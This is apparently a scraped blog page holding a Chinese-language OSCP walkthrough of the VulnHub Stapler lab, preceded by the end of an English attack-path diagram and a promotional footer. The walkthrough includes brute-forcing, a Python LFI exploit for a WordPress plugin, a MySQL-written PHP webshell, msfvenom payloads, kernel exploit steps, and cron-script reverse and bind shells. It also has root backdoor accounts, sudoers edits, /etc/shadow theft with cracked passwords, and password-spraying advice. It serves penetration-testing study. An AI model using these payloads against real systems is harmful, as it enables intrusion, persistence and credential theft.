C[Port 21: FTP username leak] D[elly FTP account] E[Port 22: SHayslett SSH account] F[peter high-privilege account] G[root] H[Port 139: SMB service] I[Port 3306: MySQL / Port 12380: phpMyAdmin] K[Port 12380: Blog system] L[Cron job] M[Port 666: nc service] %% Path relationships A--\u003e|scan|B B--\u003e|FTP anonymous login|C C--\u003e|hydra brute-force|D D--\u003e|passwd leak via FTP hydra brute-force|E E--\u003e|bash_history password leak|F F--\u003e|sudo -s direct escalation|G B--\u003eH--\u003e|SMB enum username leak hydra brute-force|E E--\u003e|www config reveals DB password|I I--\u003e|DB password john crack|K E--\u003e|CVE-2016-4557 kernel exploit|G E--\u003e|CVE-2021-4034 kernel exploit|G E--\u003eL--\u003e|logrotate write permission|G B--\u003eI B--\u003eK K --\u003e|advanced-video LFI get wp-config no login required|I K --\u003e|advanced-video LFI get passwd no login required| E K --\u003e|WP admin upload reverse shell|F I--\u003e|mysql outfile webshell|E E--\u003e|linpeas reveals nc service logic|M L--\u003e|logrotate rewrites nc service logic|M--\u003eG %% Line styles: --- (solid), -.-\u003e (dashed), ==\u003e (thick arrow) %% --\u003e|condition|: connection with condition text %% Rectangle node[ ], diamond decision node{ }, rounded node() %% Style definitions classDef attack fill:#ffcccc,stroke:#ff0000,stroke-width:2px; classDef public fill:#ffeecc,stroke:#ff9900,stroke-width:2px; classDef internal fill:#ccffcc,stroke:#009900,stroke-width:2px; %% Line style and color scheme (light/dark mode compatible) linkStyle default stroke:#666666,stroke-width:2px,stroke-dasharray:0; %% Apply styles A attack B public C public K public H public D public E internal F internal G internal I public L internal M public\nAttack Timeline gantt title Attack Timeline dateFormat YYYY-MM-DD HH:mm axisFormat %m/%d %H:%M section Reconnaissance Phase Target scanning :a1, 2026-03-14 11:11, 2026-03-14 11:30 Vulnerability identification :a2, after a1, 2026-03-14 14:37 section Attack Phase Initial access :crit, b1, after a2, 2026-03-14 15:09 Privilege escalation :milestone, b2, after b1, 2026-03-14 15:13After speed-running the machine on the 14th, I spent the following days reviewing it in depth — the more you dig into this machine, the more there is to find. Kept going all the way until 13:47 on the 16th.\n🔔 Want more cybersecurity and programming content?\nFollow the LongYuSec-Jing\u0026rsquo;an public account. We explore cutting-edge technology together and share practical learning resources and tools. We focus on in-depth analysis — no fluff, only the most practical technical content! 💻\nJoin us now and grow together! 🌟\n👉 Long-press or scan the QR code to follow\nReply with keywords from the article to get more technical materials and book recommendations! 📚\nRecommended Reading\nDay 1: What is OSCP, How to Register and How to Prepare OSCP/OSEP One-on-One Private Tutoring: Guaranteed Path to Advanced Penetration Testing Expert CyberSec: Obsidian Knowledge Base for Security Professionals ","date":"2026-03-14T11:11:29+08:00","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/stapler-wp-en/","title":"OSCP Official Lab — Stapler Writeup"},{"content":" 关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\n官网打开靶场或链接地址下载虚拟镜像：\nhttps://www.vulnhub.com/entry/stapler-1,150/\n信息收集 1# Kali攻击机地址 2192.168.45.165 3# 靶机地址 4192.168.198.148 扫描端口和目录 1# 设置MTU 2sudo ip link set dev tun0 mtu 1250 3ip link show tun0 4# 扫描端口 5ports=$(sudo nmap -p- --min-rate=5000 -Pn 192.168.198.148 | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) 6echo $ports 7# 扫描服务 8sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.198.148 9sudo nmap --script=vuln -p$ports -Pn 192.168.198.148 10# 扫描目录 11dirsearch -u http://192.168.223.148 12gobuster dir -e -u http://192.168.198.148 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,html,txt -b 403,500,404 -z 13whatweb http://192.168.198.148/ 扫描结果如下：\n1┌──(kali㉿kali)-[~/Desktop] 2└─$ echo $ports 321,22,80,139,3306 4 5┌──(kali㉿kali)-[~/Desktop] 6└─$ sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.198.148 7Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-13 23:17 -0400 8Nmap scan report for 192.168.198.148 9Host is up (0.67s latency). 10 11PORT STATE SERVICE VERSION 1221/tcp open ftp vsftpd 2.0.8 or later 13| ftp-anon: Anonymous FTP login allowed (FTP code 230) 14|_Can\u0026#39;t get directory listing: PASV failed: 550 Permission denied.\u0026#39; 15| ftp-syst: 16| STAT: 17| FTP server status: 18| Connected to 192.168.45.165 19| Logged in as ftp 20| TYPE: ASCII 21| No session bandwidth limit 22| Session timeout in seconds is 300 23| Control connection is plain text 24| Data connections will be plain text 25| At session startup, client count was 4 26| vsFTPd 3.0.3 - secure, fast, stable 27|_End of status 2822/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 29| ssh-hostkey: 30| 2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA) 31| 256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA) 32|_ 256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (ED25519) 3380/tcp open http PHP cli server 5.5 or later 34|_http-title: 404 Not Found 35139/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP) 363306/tcp open mysql MySQL 5.7.12-0ubuntu1 37| mysql-info: 38| Protocol: 10 39| Version: 5.7.12-0ubuntu1 40| Thread ID: 8 41| Capabilities flags: 63487 42| Some Capabilities: Support41Auth, ODBCClient, Speaks41ProtocolOld, LongColumnFlag, SupportsTransactions, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, InteractiveClient, SupportsLoadDataLocal, Speaks41ProtocolNew, ConnectWithDatabase, SupportsCompression, LongPassword, DontAllowDatabaseTableColumn, FoundRows, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins 43| Status: Autocommit 44| Salt: w3/ \\x07\\x1D7\\x03o?)\\x1C\\x01(\\x05`\\x1CJ*\\x04 45|_ Auth Plugin Name: mysql_native_password 46Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port 47Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.2 - 4.14 (97%), Linux 3.13 - 4.4 (93%), Linux 3.8 - 3.16 (93%), Linux 2.6.32 - 3.13 (93%), Linux 3.4 - 3.10 (93%), Linux 4.15 (93%), Linux 5.0 - 5.14 (93%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (93%), Linux 4.15 - 5.19 (93%) 48No exact OS matches for host (test conditions non-ideal). 49Network Distance: 4 hops 50Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel 51 52Host script results: 53|_nbstat: NetBIOS name: RED, NetBIOS user: \u0026lt;unknown\u0026gt;, NetBIOS MAC: \u0026lt;unknown\u0026gt; (unknown) 54| smb-security-mode: 55| account_used: guest 56| authentication_level: user 57| challenge_response: supported 58|_ message_signing: disabled (dangerous, but default) 59| smb-os-discovery: 60| OS: Windows 6.1 (Samba 4.3.9-Ubuntu) 61| Computer name: red 62| NetBIOS computer name: RED\\x00 63| Domain name: \\x00 64| FQDN: red 65|_ System time: 2026-03-14T03:18:42+00:00 66| smb2-security-mode: 67| 3.1.1: 68|_ Message signing enabled but not required 69|_clock-skew: mean: 0s, deviation: 2s, median: -1s 70| smb2-time: 71| date: 2026-03-14T03:18:39 72|_ start_date: N/A 73 74OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 75Nmap done: 1 IP address (1 host up) scanned in 150.85 seconds 76 77┌──(kali㉿kali)-[~/Desktop] 78└─$ sudo nmap --script=vuln -p$ports -Pn 192.168.198.148 79Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-13 23:20 -0400 80Nmap scan report for 192.168.198.148 81Host is up (0.47s latency). 82 83PORT STATE SERVICE 8421/tcp open ftp 8522/tcp open ssh 8680/tcp open http 87| http-slowloris-check: 88| VULNERABLE: 89| Slowloris DOS attack 90| State: LIKELY VULNERABLE 91| IDs: CVE:CVE-2007-6750 92| Slowloris tries to keep many connections to the target web server open and hold 93| them open as long as possible. It accomplishes this by opening connections to 94| the target web server and sending a partial request. By doing so, it starves 95| the http server\u0026#39;s resources causing Denial Of Service.\u0026#39; 96| 97| Disclosure date: 2009-09-17 98| References: 99| http://ha.ckers.org/slowloris/ 100|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750 101|_http-csrf: Couldn\u0026#39;t find any CSRF vulnerabilities.\u0026#39; 102|_http-stored-xss: Couldn\u0026#39;t find any stored XSS vulnerabilities.\u0026#39; 103|_http-dombased-xss: Couldn\u0026#39;t find any DOM based XSS.\u0026#39; 104|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug) 105139/tcp open netbios-ssn 1063306/tcp open mysql 107 108Host script results: 109|_smb-vuln-ms10-054: false 110| smb-vuln-cve2009-3103: 111| VULNERABLE: 112| SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497) 113| State: VULNERABLE 114| IDs: CVE:CVE-2009-3103 115| Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2, 116| Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a 117| denial of service (system crash) via an \u0026amp; (ampersand) character in a Process ID High header field in a NEGOTIATE 118| PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location, 119| aka \u0026#34;SMBv2 Negotiation Vulnerability.\u0026#34; 120| 121| Disclosure date: 2009-09-08 122| References: 123| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103 124|_ http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103 125| smb-vuln-regsvc-dos: 126| VULNERABLE: 127| Service regsvc in Microsoft Windows systems vulnerable to denial of service 128| State: VULNERABLE 129| The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference 130| pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes 131| while working on smb-enum-sessions. 132|_ 133|_smb-vuln-ms10-061: false 134 135Nmap done: 1 IP address (1 host up) scanned in 524.65 seconds 136 137Target: http://172.168.169.129/ 138 139[02:06:11] Starting: 140[02:06:11] 200 - 4KB - /.bashrc 141[02:06:11] 200 - 220B - /.bash_logout 142[02:06:12] 200 - 675B - /.profile 143 144Task Completed 80端口网页打开什么都没有\nFTP 匿名登陆 Nmap扫描提示有FTP匿名登录，登录后有个note文件，下载后查看就是一句话。如下图\n得到疑似是管理员的3个用户名，写入 user.txt 文件\nJohn Elly Harry 中间因为网络延迟问题，超时了，我是免费账户，每天只有3小时免费额度，没事咱有vulnhub！vulnhub万岁！\nhttps://ciphersaw.me/2021/07/10/exploration-of-file-format-exception-while-vmware-loads-ovf/\n参考先知社区的文章，解决导入VMWare报错问题。现在靶机地址变为172.168.169.129\n继续爆破FTP，三个用户名呢，总有一个大冤种。\nFTP登录用户名爆破 推荐工具：username-anarchy\n专门针对人名生成各种变体，是渗透测试中最常用的用户名字典生成器。\n# 安装 git clone https://github.com/urbanadventurer/username-anarchy.git # 挂代理 git clone https://gh-proxy.org/https://github.com/urbanadventurer/username-anarchy.git cd username-anarchy ./username-anarchy John 针对这三个用户名\n1# 逐个生成并合并 2./username-anarchy John \u0026gt; usernames.txt 3./username-anarchy Elly \u0026gt;\u0026gt; usernames.txt 4./username-anarchy Harry \u0026gt;\u0026gt; usernames.txt 5# 批量的 6./username-anarchy -i ../user.txt \u0026gt;\u0026gt; ../usernames.txt 7# 去重 8sort -u usernames.txt -o usernames.txt 9 10wc -l usernames.txt 或者如果名字有姓（比如从网站上找到全名），效果更好：\n1./username-anarchy \u0026#34;John Smith\u0026#34; \u0026gt;\u0026gt; usernames.txt 生成的用户名之后使用hydra爆破\nhydra -L usernames.txt -e nsr ftp://172.168.169.129 这里的nsr 参数表述尝试空密码，同用户名密码，反用户名密码。\n得到正确的可登录的用户名和密码\nFTP文件夹下有/etc/passwd 泄露\nSSH 登录爆破 passwd文件里面有很多用户，筛选一下可以登录的用户名，然后使用hydra爆破\n1cat passwd | grep -v -E \u0026#34;nologin|false\u0026#34; | cut -d \u0026#34;:\u0026#34; -f 1 \u0026gt; ssh_user_name 2hydra -L ssh_user_name -e nsr ssh://172.168.169.129 冤种2号！打到这里非常快乐。\nHistory历史记录泄露 登上之后直接开始一顿快乐的搜索\n1ls /home/*/ -al 2cat /home/*/.* |grep pass 3cat /home/*/.bash_history | grep -v exit 又发现两个幸运观众的密码泄露，所以真的不要把密码明文打在命令行里\n1sshpass -p thisimypassword ssh JKanode@localhost 2sshpass -p JZQuyIN5 peter@localhost 登录JKanode 没什么用，炮灰一个\n登录Peter账户直接提权 这个靶机还有多种方式，这是速通的一种方法，这么快速可能会让你觉得这个靶机不过如此。但是官网也说了，至少两种方式获得shell和至少3中方式提权root。所以，盘他，填满它所有的洞！\n其他的方法 主要参考\nhttps://xz.aliyun.com/news/12473 https://www.freebuf.com/vuls/343731.html https://blog.csdn.net/2403_88668158/article/details/146487087\n进shell的方法 12380网页 这里http不管怎么看都是没用的，要https\n扫描网站目录发现可用信息 phpMyadmin 数据库管理后台 phpmyadmin界面对于已经[[#SSH 登录爆破]]拿到了登录密码的人来说用户不大，如果你本地没有Dbeaver之类的软件，也懒得用mysql命令的话可以用用。\nblogblog博客系统 终于到主菜了，博客系统。打开页面就看到登录窗口和Wordpress的提示，上工具！\n先枚举用户：\n1wpscan --url https://172.168.169.131:12380/blogblog/ -e u --disable-tls-checks 这里可以尝试一开始的[[#FTP登录用户名爆破]]登录进去的elly，但是很明显进去之后这个页面显示她不是管理员，只是普通用户。这里的密码可以用之前mysql爆破[[#获得blog博客系统的用户密码]]出来的，假如没有走通mysql的路子的话也不怕，还有洞。\n扫描网站使用的插件：\n1wpscan --url https://172.168.169.131:12380/blogblog/ -e ap --disable-tls-checks --plugins-detection aggressive 发现注册地址，上传目录。假如之后要穿shell应该能传到这个路径下面。\n插件的扫描结果如下，来一个一个盘\n1[i] Plugin(s) Identified: 2 3[+] advanced-video-embed-embed-videos-or-playlists 4 | Location: https://172.168.169.131:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/ 5 | Latest Version: 1.0 (up to date) 6 | Last Updated: 2015-10-14T13:52:00.000Z 7 | Readme: https://172.168.169.131:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/readme.txt 8 | [!] Directory listing is enabled 9 | 10 | Found By: Known Locations (Aggressive Detection) 11 | - https://172.168.169.131:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/, status: 200 12 | 13 | Version: 1.0 (80% confidence) 14 | Found By: Readme - Stable Tag (Aggressive Detection) 15 | - https://172.168.169.131:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/readme.txt 16 17[+] akismet 18 | Location: https://172.168.169.131:12380/blogblog/wp-content/plugins/akismet/ 19 | Latest Version: 5.6 20 | Last Updated: 2025-11-12T16:31:00.000Z 21 | 22 | Found By: Known Locations (Aggressive Detection) 23 | - https://172.168.169.131:12380/blogblog/wp-content/plugins/akismet/, status: 403 24 | 25 | The version could not be determined. 26 27[+] shortcode-ui 28 | Location: https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/ 29 | Last Updated: 2019-01-16T22:56:00.000Z 30 | Readme: https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt 31 | [!] The version is out of date, the latest version is 0.7.4 32 | [!] Directory listing is enabled 33 | 34 | Found By: Known Locations (Aggressive Detection) 35 | - https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/, status: 200 36 | 37 | Version: 0.6.2 (100% confidence) 38 | Found By: Readme - Stable Tag (Aggressive Detection) 39 | - https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt 40 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection) 41 | - https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt 42 43[+] two-factor 44 | Location: https://172.168.169.131:12380/blogblog/wp-content/plugins/two-factor/ 45 | Latest Version: 0.15.0 46 | Last Updated: 2026-02-17T13:21:00.000Z 47 | Readme: https://172.168.169.131:12380/blogblog/wp-content/plugins/two-factor/readme.txt 48 | [!] Directory listing is enabled 49 | 50 | Found By: Known Locations (Aggressive Detection) 51 | - https://172.168.169.131:12380/blogblog/wp-content/plugins/two-factor/, status: 200 52 | 53 | The version could not be determined. advanced-video插件 搜锁之后发现一个文件包含的漏洞\n下载后添加对SSL的支持，和改成python3的语法\n1#!/usr/bin/env python3 2import random 3import urllib.request 4import urllib.error 5import re 6import ssl 7 8# 忽略 SSL 证书校验 9ssl._create_default_https_context = ssl._create_unverified_context 10 11url = \u0026#34;https://172.168.169.131:12380/blogblog\u0026#34; # 改成你的靶机 IP 12 13randomID = int(random.random() * 100000000000000000) 14 15objHtml = urllib.request.urlopen( 16 url + \u0026#39;/wp-admin/admin-ajax.php?action=ave_publishPost\u0026amp;title=\u0026#39; + 17 str(randomID) + \u0026#39;\u0026amp;short=rnd\u0026amp;term=rnd\u0026amp;thumb=../wp-config.php\u0026#39; 18) 19content = objHtml.readlines() 20 21for line in content: 22 line = line.decode(\u0026#39;utf-8\u0026#39;) 23 numbers = re.findall(r\u0026#39;\\d+\u0026#39;, line) 24 id = numbers[-1] 25 id = int(id) // 10 # Python3 整除用 // 26 27objHtml = urllib.request.urlopen(url + \u0026#39;/?p=\u0026#39; + str(id)) 28content = objHtml.readlines() 29 30for line in content: 31 line = line.decode(\u0026#39;utf-8\u0026#39;) 32 if \u0026#39;attachment-post-thumbnail size-post-thumbnail wp-post-image\u0026#39; in line: 33 urls = re.findall(\u0026#39;\u0026#34;(https?://.*?)\u0026#34;\u0026#39;, line) 34 print(urllib.request.urlopen(urls[0]).read().decode(\u0026#39;utf-8\u0026#39;)) 1wget https://172.168.169.131:12380/blogblog/wp-content/uploads/349164566.jpeg --no-check-certificate 这配置文件不就搞到手了，嘿嘿嘿，数据库密码到手，形成闭环。\n同理还可以把 /etc.passwd 文件也弄下来，这就回到了[[#SSH 登录爆破]]，又一个闭环。\nJohn管理员登录WP后台上传反弹shell 管理员打开media媒体界面，发现就有之前插件生成的文件， 复制一个反弹php过来，修改\n1 cp /usr/share/webshells/php/php-reverse-shell.php . 2 sed -i -E \u0026#34;s/ip\\s*=\\s*\u0026#39;127\\.0\\.0\\.1\u0026#39;\\s*;/ip = \u0026#39;172.168.169.128\u0026#39;;/g; s/port\\s*=\\s*1234\\s*;/port = 4777;/g\u0026#34; php-reverse-shell.php 生成shell有很多方法，这里只用了反弹的类型，其他WP提到了webacoo，weevely，MSF，冰蝎生成等。可以看[[#WebShell 的常用姿势]]\n点击上传，提示文件类型不支持\n抓包，改00截断，成功上传，但是没有成功运行，还是当作png解析的。问题不大，还有插件上传这个点。\n也是上传php文件，点击 install 这个页面不用管，直接 proceed 然后就能在上传目录开到我们的php了 成功弹回，然后用[[#登录Peter账户直接提权]]的方式直接提权即可。 数据库mysql [[#SSH 登录爆破]] 后进入SHayslett账户浏览/var/www/https/blogblog文件夹就能发现数据库密码\n可惜不能直接ssh切换，也就是说root的密码没有复用，只能链接数据库用\n使用用户名root和密码plbkac进行数据库登录\nmysql -h 172.168.169.129 -uroot -pplbkac --skip-ssl 获得blog博客系统的用户密码 将表中的user_login与user_pass提取出来并导入文件中，使用john进行爆破\nshow databases; use wordpress; show tables; select * from wp_users; select concat(user_login,\u0026#39;:\u0026#39;,user_pass) from wp_users; 直接在命令行用 -e 参数执行，输出自动是纯文本，然后直接丢john爆破，此john非彼john。\n1mysql -h 172.168.169.129 -uroot -pplbkac --skip-ssl -se \u0026#34;select concat(user_login,\u0026#39;:\u0026#39;,user_pass) from wordpress.wp_users;\u0026#34; \u0026gt; hashes.txt 2john --format=phpass --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt 再查一下其他配置，发现明显写了john就是管理员\n1SELECT option_name, option_value FROM wp_options 2WHERE option_name IN (\u0026#39;siteurl\u0026#39;,\u0026#39;blogname\u0026#39;,\u0026#39;blogdescription\u0026#39;,\u0026#39;admin_email\u0026#39;,\u0026#39;blogpublic\u0026#39;); 1SELECT user_login, meta_value FROM wp_users JOIN wp_usermeta ON wp_users.ID = wp_usermeta.user_id WHERE meta_key = \u0026#39;wp_capabilities\u0026#39;; 发现 john peter Vicki 三个人都是管理员。Vicki还没有研究过，遗憾的是好像也没有爆出来他的密码。不过不重要了。\nmysql上传一句话木马 由[[#blogblog博客系统]] 的情报得知上传目录，写个一句话木马进去\n1# MySQL 里写入 2SELECT \u0026#34;\u0026lt;?php system($_GET[\u0026#39;cmd\u0026#39;]); ?\u0026gt;\u0026#34; into outfile \u0026#34;/var/www/https/blogblog/wp-content/uploads/exec.php\u0026#34;; 3 4# 验证是否写入成功 5curl -k \u0026#34;https://172.168.169.131:12380/blogblog/wp-content/uploads/exec.php?cmd=id\u0026#34; phpmyadmin页面操作也是一样的\n139 端口上的samba服务 使用enum4linux探测smb服务\nenum4linux -a 172.168.169.129 | tee smb_result 发现有效共享服务名tmp和kathy 发现用户，这一步的用户其实其可以用到 [[#SSH 登录爆破]] 里面用到登录爆破\n提权root的方法 上传小豌豆 内核漏洞提权 CVE-2016-4557 查看内核版本信息\n使用searchsploit搜索一些对应版本的漏洞\nsearchsploit ubuntu 16.04 privilege escalation privilege escalation表示权限提升 上一个是windows机器的不符合，上上两条是x86x64机器的不符合，只有linux/local/39772.txt符合，尝试使用。\n1searchsploit -m linux/local/39772.txt 2cat 39772.txt 在靶机上执行，这里是在本地虚拟机测试，kali上可能下载不下来，可以在本机下载后开http传输\n1wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip 2unzip 39772.zip 3cd 39772 4tar -xvf exploit.tar 5cd ebpf_mapfd_doubleput_exploit 6chmod +x compile.sh 7./compile.sh 这个报错可以不管，文件夹下编译出来可执行文件就行。执行等待一分钟就能提权了。\n这个漏洞是 CVE-2016-4557，原理简述：Linux 内核 eBPF 子系统在处理 BPF_MAP_CREATE 时存在文件描述符的 double-put（引用计数错误），可导致 UAF，最终通过 writev + FUSE 竞争条件将任意文件改为 SUID root，再执行 suidhelper 获得 root shell。影响内核版本 ≤ 4.5。\n内核漏洞提权 CVE-2021-4034 发现步骤\n信息收集阶段通过以下方式发现：\n1# 1. 查看内核和系统版本 2uname -a 3cat /etc/os-release 4# 输出：Ubuntu 16.04，内核较旧 5 6# 2. 查看 polkit 版本（关键） 7dpkg -l policykit-1 8pkexec --version 9# 输出版本 \u0026lt;= 0.105 即存在漏洞 漏洞影响范围：polkit \u0026lt; 0.120（2009年至2022年1月所有版本），Ubuntu 16.04 的 polkit 版本正好在范围内。\n利用步骤\n方式一：直接用 GitHub 上的一键利用脚本 1# 靶机上下载 PoC（或从 Kali 传过去） 2 3wget https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.zip 4unzip main.zip 5cd CVE-2021-4034-main 6make 7./cve-2021-4034 方式二：Kali 自带 MSF 模块（需要已有 meterpreter session） OSCP考试的时候慎用MSF，先在靶机上建立 meterpreter session：\n1# Kali 生成 payload 2msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=172.168.169.130 LPORT=4444 -f elf \u0026gt; shell.elf 3 4# Kali 开监听 5msfconsole 6use multi/handler 7set payload linux/x86/meterpreter/reverse_tcp 8set LHOST 172.168.169.130 9set LPORT 4444 10run 11 12# 靶机下载执行（用已有的 SHayslett shell） 13wget http://172.168.169.128:8000/shell.elf 14chmod +x shell.elf 15./shell.elf 此时 Kali 收到 session，记下 session 编号比如 1，然后：\n1use exploit/linux/local/cve_2021_4034 2set SESSION 1 3set LHOST 172.168.169.130 4run 5# 弹出 root meterpreter 不过这个方法网络问题弹不回来。\n原理简述\npkexec 是 polkit 的命令行工具，有 SUID 位。漏洞在于它处理 argv[] 时存在越界写，可以将环境变量当作参数写入，通过构造恶意 GCONV_PATH 环境变量加载任意共享库，触发后直接得到 root。整个利用不需要任何现有权限，普通用户直接执行即可提权，是 2022 年最高危的本地提权漏洞之一。\nlinpeas的结果丢给AI分析，还有这些提权的点，但是试了不行。\n定时任务提权 得到低权限的shell后，查看cron任务计划表，获取可用信息：\nls -alh /etc/*cron* 1cat /etc/cron.d/logrotate 在/etc/cron.d中发现一个可疑任务logrotate，查看具体详情：\n大冤种Simon给我们贡献了重要的权限节点\n利用方式 — 写入反弹 shell：\n在 Kali（172.168.169.128） 开监听：\n1sudo apt -y install rlwrap 2rlwrap nc -lvnp 4444 rlwrap工具可以让nc窗口也可以上下键切换命令，比只nc好用。在目标机写入payload：\n1echo \u0026#39;bash -i \u0026gt;\u0026amp; /dev/tcp/172.168.169.128/4444 0\u0026gt;\u0026amp;1\u0026#39; \u0026gt; /usr/local/sbin/cron-logrotate.sh 等了超过 5 分钟，发现靶机ping不通Kali。尝试** Bind Shell**\n让靶机监听，Kali 主动连过去：\n1# 靶机写入（让目标监听 5555） 2echo \u0026#39;nc -lvnp 5555 -e /bin/bash \u0026amp;\u0026#39; \u0026gt; /usr/local/sbin/cron-logrotate.sh 或者用 mkfifo 代替：\n靶机写入：\n1echo \u0026#39;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2\u0026gt;\u0026amp;1|nc -lvnp 5555 \u0026gt;/tmp/f\u0026#39; \u0026gt; /usr/local/sbin/cron-logrotate.sh 等 5 分钟 cron 触发后，Kali 连接：\n1rlwrap nc 172.168.169.129 5555 也不行，我直接执行测试nc也弹不回来，猜测靶机可能做了限制。不过问题不大，一个可读可写可执行的root权限文件，能玩的可就太多了。\n按实用性排列：\n1. 直接读 flag（最快）\n1echo \u0026#39;cp /root/flag.txt /tmp/flag.txt \u0026amp;\u0026amp; chmod 777 /tmp/flag.txt\u0026#39; \u0026gt; /usr/local/sbin/cron-logrotate.sh \u0026amp;\u0026amp; sleep 300 \u0026amp;\u0026amp; cat /tmp/flag.txt 2. 新建 root 权限账户\n1# 先生成密码hash 2openssl passwd -1 hacker123 3# $1$WaXtKCVu$xdPnXu7gxf5jlamTXCCVQ0 4# 写入cron 5cat \u0026gt; /usr/local/sbin/cron-logrotate.sh \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; 6echo \u0026#39;hacker123:$1$WaXtKCVu$xdPnXu7gxf5jlamTXCCVQ0:0:0:root:/root:/bin/bash\u0026#39; \u0026gt;\u0026gt; /etc/passwd 7EOF 8su hacker123 9# 输入密码 hacker123 3. 给当前用户加 sudo 免密\n1echo \u0026#39;echo \u0026#34;SHayslett ALL=(ALL) NOPASSWD:ALL\u0026#34; \u0026gt;\u0026gt; /etc/sudoers\u0026#39; \u0026gt; /usr/local/sbin/cron-logrotate.sh \u0026amp;\u0026amp; sleep 300 \u0026amp;\u0026amp; sudo su 4. SUID bash\n1echo \u0026#39;chmod u+s /bin/bash\u0026#39; \u0026gt; /usr/local/sbin/cron-logrotate.sh \u0026amp;\u0026amp; sleep 300 \u0026amp;\u0026amp; bash -p 5. 复制 /etc/shadow 出来\n只有root用户才可以读shadow的内容。\n1echo \u0026#39;cp /etc/shadow /tmp/shadow.txt \u0026amp;\u0026amp; chmod 777 /tmp/shadow.txt\u0026#39; \u0026gt; /usr/local/sbin/cron-logrotate.sh \u0026amp;\u0026amp; sleep 300 \u0026amp;\u0026amp; cat /tmp/shadow.txt 然后尝试离线破解其他用户密码，不过看这个长度基本不可能。\n$6$ 是 SHA-512crypt，hashcat 模式 1800，单卡慢但 rockyou 覆盖率高，CTF 靶机密码一般都很弱，值得试。\n先把 hash 单独提取出来：\n1grep -v \u0026#39;:\\*:\\|:!:\u0026#39; /tmp/shadow.txt | awk -F: \u0026#39;{print $1\u0026#34;:\u0026#34;$2}\u0026#39; \u0026gt; /tmp/to_crack.txt 复制到Kali 上跑：\n1# hashcat 2hashcat -m 1800 to_crack.txt /usr/share/wordlists/rockyou.txt --username 3 4# 或 john（自动识别格式） 5john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt to_crack.txt 6john --show to_crack.txt 你别说，你还真别说，真跑出来了几个。\ncookie (JBare) letmein (MFrei) qwerty (Drew) 1password (CCeaser) password11 (SStroud) red (jamie) robrob (RNunemaker) incorrect (LSolum) passphrase (MBassin) 完整的爆破时间太长了，我就没有跑完。\n不过作用不大，除了知道密码以外，如果是其他的域环境或者更复杂的环境，这些密码可以用来做喷洒。这批密码的价值在于：\n当前靶机 — 意义有限，因为已有更直接的提权路径（777 cron 脚本）。\n真实渗透场景下的价值：\n密码喷洒（Password Spraying） — 同一套密码在内网横向移动，qwerty、letmein、password11 这种弱密码在企业环境里出现频率极高 密码规律分析 — 看到 password11、1password，说明这个组织的密码策略可能要求数字，可以针对性构造字典 凭据复用 — 同一个人在不同系统上用同一密码是常态，这些账号对应的邮箱/VPN/OA 系统都可以试 域环境 — 如果是 AD 环境，拿这批用户名+密码跑 crackmapexec 或 kerbrute 喷洒，横向移动到其他机器的概率很高： 1crackmapexec smb 172.168.169.0/24 -u users.txt -p passwords.txt --continue-on-success 这也是为什么渗透测试里 /etc/shadow 始终是高价值目标，不只是为了当前机器。\n6. 写 SSH 公钥到 root 检查靶机的sshd 配置。\n1cat /etc/ssh/sshd_config | grep -E \u0026#34;PermitRootLogin|PubkeyAuthentication|AuthorizedKeysFile\u0026#34; 